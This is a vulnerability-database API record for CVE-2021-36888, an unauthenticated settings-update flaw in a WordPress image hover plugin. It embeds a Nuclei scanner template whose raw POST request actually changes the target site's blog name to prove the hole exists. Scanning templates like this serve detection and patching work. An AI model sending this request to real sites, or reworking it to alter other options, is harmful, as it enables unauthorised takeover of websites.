{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-36888/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-36888/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-36888/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-36888/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-36888/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-36888"},"sightings":{"href":"/api/v1/sightings/cve-2021-36888"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-36888.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-36888\n\ninfo:\n  name: WordPress Image Hover Ultimate - Unauthenticated Settings Update\n  author: riteshs4hu\n  severity: critical\n  description: |\n    Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions <= 9.6.1) WordPress plugin.\n  impact: |\n    Attackers can fully compromise the website, leading to complete control and potential data theft or defacement.\n  remediation: |\n    Update to the latest version of the plugin, newer than 9.6.1.\n  reference:\n    - https://wpscan.com/vulnerability/75da4102-7063-407f-975e-28be6ed33aac/\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36888\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-36888\n    epss-score: 0.06685\n    epss-percentile: 0.93654\n    cwe-id: CWE-284\n    cpe: cpe:2.3:a:blocksera:image_hover_effects:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2021,wpscan,wp-plugin,wordpress,imagehover,intrusive,unauth,vkev,vuln\n\nvariables:\n  rand: \"{{randstr}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-json/ImageHoverUltimate/v1/oxi_settings HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        X-Requested-With: XMLHttpRequest\n\n        rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22{{rand}}%22%7D\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"oxi-confirmation-success\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, rand)\"\n        condition: and\n# digest: 4a0a00473045022030ebf8b4a9c85f619c650987714b48315d19716175deb26686ed510fd6d065230221008d133bb0dd354208256fd45d5aa2b58ba1e367bca5b5ec2cf16fa967bbdac872:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-36888"}